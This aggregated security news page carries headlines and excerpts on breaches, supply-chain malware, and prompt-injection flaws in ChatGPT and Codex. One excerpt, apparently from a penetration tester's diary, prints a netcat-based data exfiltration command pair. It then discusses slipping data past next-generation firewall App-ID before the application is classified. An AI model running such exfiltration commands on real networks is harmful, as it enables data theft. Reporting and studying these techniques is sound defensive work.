U.S. prosecutors have charged a Maryland man with stealing more than $53 million after hacking the Uranium Finance crypto exchange twice and laundering the proceeds through a cryptocurrency mixer. [...]
Security & IT News
LiveReal-time news from 13+ trusted sources — BleepingComputer, The Hacker News, Krebs on Security, Dark Reading & more.
The National Cyber Security Centre wants UK firms to patch CVE-2025-53521
The Dutch Ministry of Finance took some of its systems offline, including the digital portal for treasury banking, while investigating a cyberattack detected two weeks ago. [...]
In case of a cyber incident, most organizations fear more of data loss (via exfiltration) than regular data encryption because they have a good backup policy in place. If exfiltration happened, it means a total loss of control of the stolen data with all the consequences (PII, CC numbers, ). While performing a security assessment of a corporate network, I discovered that a TCP port was open to the wild Internet, even if the audited company has a pretty strong firewall policy. The open port was discovered via a regular port scan. In such situation, you try to exploit this hole in the firewall. What I did, I tried to exfiltrate data through this port. It s easy: Simulate a server controlled by a threat actor: root@attacker:~# nc -l -p 12345 /tmp/victim.tgz And, from a server on the victim s network: root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345 It worked but the data transfer failed after approximatively ~5KB of data sent weird! Every time, the same situation. I talked to a local Network Administrator who said that they have a Palo Alto Networks firewall in place with App-ID enabled on this port. Note : What I am explaining here is not directly related to this brand of firewall. The same issue may apply with any next-generation firewall! For example, Checkpoint firewalls use the App Control blade and Fortinet firewalls use Application Control . App-ID in Palo Alto Networks firewalls is the component performing traffic classification on the protected network(s), regardless of port, protocol, or encryption. Instead of relying on traditional port-based rules (e.g., TCP/80 == HTTP), App-ID analyzes traffic in real time to determine the actual application (e.g., Facebook, Dropbox, custom apps), enabling more granular and accurate security policies. This allows administrators to permit, deny, or control applications directly, apply user-based rules, and enforce security profiles (IPS, URL filtering, etc.) based on the true nature of the traffic rather than superficial indicators like ports. This also prevent well-known protocols to be used on exotic ports (ex: SSH over 12222). The main issue with this technique is that enough packets must be sent over the wire to perform a good classification. So, the traffic is always allowed first and, if something bad is detected, remaining packets are blocked. In terms of data volume, there s no strict fixed threshold, but in practice App-ID usually needs at least the first few KB of application payload to reach a reliable classification. Roughly speaking: 1 KB (or just handshake packets): almost always insufficient likely unknown or very generic classification ~1 5 KB: basic identification possible for simple or clear-text protocols (HTTP, DNS, some TLS SNI-based detection) ~5 10+ KB: much higher confidence, especially for encrypted or complex applications That s why my attempts to exfiltrate data were all blocked after ~5KB. Can we bypass this? Let s try the following scenario: On t
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) ordered government agencies to patch their Citrix NetScaler appliances against an actively exploited vulnerability by Thursday. [...]
The popular HTTP client known as Axios has suffered a supply chain attack after two newly published versions of the npm package introduced a malicious dependency. Versions 1.14.1 and 0.30.4 of Axios have been found to inject "plain-crypto-js" version 4.2.1 as a fake dependency. According to StepSecurity, the two versions were published using the compromised npm credentials of the primary Axios
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
AI agents are transforming finance, enabling automated trading and payments, but introduce new risks around keys, data inputs and secure execution control.
Kernel-level visibility reveals hidden data movement in breaches, exposing gaps in modern security tools and improving detection, compliance, and system behavior tracking.
LiteLLM had obtained two security compliance certifications via Delve and fell victim to some horrific credential-stealing malware last week.
Healthcare IT firm CareCloud has disclosed a data breach incident that exposed sensitive data and caused a network disruption lasting approximately eight hours. [...]
OpenAI Codex vulnerability allowed attackers to steal GitHub tokens via malicious branch names using hidden Unicode command injection flaw.
A newly identified malicious implant named RoadK1ll is enabling threat actors to quietly move from a compromised host to other systems on the network. [...]
A previously unknown vulnerability in OpenAI ChatGPT allowed sensitive conversation data to be exfiltrated without user knowledge or consent, according to new findings from Check Point. "A single malicious prompt could turn an otherwise ordinary conversation into a covert exfiltration channel, leaking user messages, uploaded files, and other sensitive content," the cybersecurity company said in
Wave Browser for gaming: built for multitasking, streaming, and tabs, with tools for gamers plus ocean cleanup support tied to everyday browsing activity.
15-year-old strongSwan flaw allows attackers to crash VPNs via integer underflow bug, affecting EAP-TTLS plugin and multiple versions worldwide.
Red teaming has always played a role in testing defenses, but in 2026 its role is changing. Security teams are no longer asking whether an attacker can get in. That question has already been answered. The real challenge is whether teams can detect, validate, and respond before an incident escalates. That shift sits at the center of this year’s Rapid7 Global Cybersecurity Summit , taking place on May 12-13. As part of the Continuous Threat Defense pillar, the summit will explore red teaming not as a standalone exercise, but as a core input into how modern security operations function day to day. From validation to continuous feedback In sessions like Using Red Teaming to Power Preemptive MDR , the focus moves away from point-in-time testing and toward becoming part of a continuous feedback loop. Detection logic is tested against real attacker techniques and gaps are exposed before they become incidents. Response workflows are refined in conditions that reflect how attacks actually unfold, rather than how they are expected to behave. This represents a clear shift from traditional engagements. Instead of producing a static report, red teaming feeds directly into detection engineering and MDR operations. Many teams still rely on assumptions about coverage, but those assumptions often break down under pressure. Continuous validation helps close that gap. Aligning red teaming with how attacks really happen Modern attacks rarely follow a clean path. They move across identity, cloud, and endpoint, taking advantage of timing, visibility gaps, and delayed decisions. Red teaming has to reflect that reality. At the summit, the conversation connects adversary behavior with how detection and response teams operate in practice. This includes how signals are correlated across environments, how escalation decisions are made, and where teams lose time during an investigation. The goal is not to simulate attacks for the sake of it, but to understand how those attacks would be detected, prioritized, and contained in a real environment. Why red teaming matters now The move toward preemptive security operations depends on confidence. Teams need to know that what they have built will hold up when it matters. Red teaming supports that by grounding security programs in evidence. It shows what works, highlights what does not, and gives teams an opportunity to improve before a live incident forces change. This becomes even more important as organizations adopt MDR models, integrate AI into workflows, and operate across increasingly complex environments. Without continuous validation, complexity creates blind spots that are difficult to see until it is too late. Rapid7's Cybersecurity Summit: A preview of what’s to come Red teaming is one part of a broader shift happening across the summit. Sessions across detection, response, AI, and exposure management all point in the same direction: Security operations must move earlier in the attack lifecycle, reduce noise, improve pri
Crypto enables 24/7 payments for AI agents, replacing fiat limits with scalable machine-to-machine transactions and powering the emerging machine economy.
Agentic AI is moving fast from pilots to production. That shift changes the security conversation. These systems do not just generate content. They can retrieve sensitive data, invoke tools, and take action using real identities and permissions. When something goes wrong, the failure is not limited to a single response. It can become an automated sequence of access, execution, and downstream impact. Security teams are already familiar with application risk, identity risk, and data risk. Agentic systems collapse those domains into one operating model. Autonomy introduces a new problem: a system can be “working as designed” while still taking steps that a human would be unlikely to approve, because the boundaries were unclear, permissions were too broad, or tool use was not tightly governed. The OWASP Top 10 for Agentic Applications (2026) outlines the top ten risks associated with autonomous systems that can act across workflows using real identities, data access, and tools. This blog is designed to do two things: First, it explores the key findings of the OWASP Top 10 for Agentic Applications. Second, it highlights examples of practical mitigations for risks surfaced in the paper, grounded in Agent 365 and foundational capabilities in Microsoft Copilot Studio . Secure agentic AI with Microsoft Security OWASP helps secure agentic AI around the world OWASP (the Open Worldwide Application Security Project) is an online community led by a nonprofit foundation that publishes free and open security resources, including articles, tools, and documentation used across the application security industry. In the years since the organization’s founding, OWASP Top 10 lists have become a common baseline in security programs. In 2023, OWASP identified a security gap that needed urgent attention: traditional application security guidance wasn’t fully addressing the nascent risks stemming from the integration of LLMs and existing applications and workflows. The OWASP Top 10 for Agentic Applications was designed to offer concise, practical, and actionable guidance for builders, defenders, and decision-makers. It is the work of a global community spanning industry, academia, and government, built through an “expert-led, community-driven approach” that includes open collaboration, peer review, and evidence drawn from research and real-world deployments. Microsoft has been a supporter of the project for quite some time, and members of the Microsoft AI Red Team helped review the Agentic Top 10 before it was published. Pete Bryan, Principal AI Security Research Lead, on the Microsoft AI Red Team, and Daniel Jones, AI Security Researcher on the Microsoft AI Red Team, also served on the OWASP Agentic Systems and Interfaces Expert Review Board. Agentic AI delivers a whole range of novel opportunities and benefits. However, unless it is designed and implemented with security in mind, it can also introduce risk. OWASP Top 10s have been the foundation of security best practic
A new campaign has leveraged the ClickFix social engineering tactic as a way to distribute a previously undocumented malware loader referred to as DeepLoad. "It likely uses AI-assisted obfuscation and process injection to evade static scanning, while credential theft starts immediately and captures passwords and sessions even if the primary loader is blocked," ReliaQuest researchers Thassanai